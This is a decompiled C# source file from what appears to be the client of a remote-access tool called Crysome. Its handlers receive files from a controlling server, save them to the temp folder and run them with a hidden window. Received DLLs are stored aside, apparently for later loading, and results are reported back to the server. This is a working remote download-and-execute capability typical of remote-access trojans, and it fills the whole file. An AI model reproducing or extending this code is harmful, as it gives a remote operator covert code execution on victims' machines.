using System;
using System.Diagnostics;
using System.IO;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class FileTransferHandlers
{
	private const int MaxFileBytes = 157286400;

	private static FtReceiver _receiver;

	internal static volatile string LastDllPath;

	public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ab: Expected O, but got Unknown
		FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
		string text;
		try
		{
			if (val.FileData == null || val.FileData.Length == 0)
			{
				text = "ERR: Empty payload";
			}
			else if (val.FileData.Length > 157286400)
			{
				text = "ERR: Payload too large";
			}
			else
			{
				string text2 = SanitizeFileName(val.Filename);
				string text3 = Path.Combine(Path.GetTempPath(), text2);
				File.WriteAllBytes(text3, val.FileData);
				Process.Start(new ProcessStartInfo
				{
					FileName = text3,
					UseShellExecute = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				text = "OK: " + text2;
			}
		}
		catch (Exception ex)
		{
			text = "ERR: " + ex.Message;
		}
		client.SendPacket((IPacket)new FileTransferResponsePacket(text));
	}

	public static void HandleFtStart(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_000b: Expected O, but got Unknown
		//IL_0063: Unknown result type (might be due to invalid IL or missing references)
		//IL_006d: Expected O, but got Unknown
		_receiver = new FtReceiver(client);
		_receiver.OnComplete = delegate(string name, byte[] data)
		{
			try
			{
				string text = SanitizeFileName(name);
				string text2 = Path.Combine(Path.GetTempPath(), text);
				File.WriteAllBytes(text2, data);
				Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
				if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
				{
					LastDllPath = text2;
				}
				else
				{
					Process.Start(new ProcessStartInfo
					{
						FileName = text2,
						UseShellExecute = true,
						WindowStyle = ProcessWindowStyle.Hidden
					});
				}
			}
			catch (Exception ex)
			{
				Program.Log("FtReceiver execute error: " + ex.Message);
			}
		};
		_receiver.OnError = delegate(string msg)
		{
			Program.Log("FtReceiver error: " + msg);
		};
		_receiver.HandleStart((FtStartPacket)packet);
	}

	public static void HandleFtChunk(CrysomeClient client, IPacket packet)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0015: Expected O, but got Unknown
		FtReceiver receiver = _receiver;
		if (receiver != null)
		{
			receiver.HandleChunk((FtChunkPacket)packet);
		}
	}

	public static void HandleFtAbort(CrysomeClient client, IPacket packet)
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0015: Expected O, but got Unknown
		FtReceiver receiver = _receiver;
		if (receiver != null)
		{
			receiver.HandleAbort((FtAbortPacket)packet);
		}
	}

	private static string SanitizeFileName(string name)
	{
		if (string.IsNullOrEmpty(name))
		{
			return "received.dat";
		}
		char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
		foreach (char oldChar in invalidFileNameChars)
		{
			name = name.Replace(oldChar, '_');
		}
		return name;
	}
}
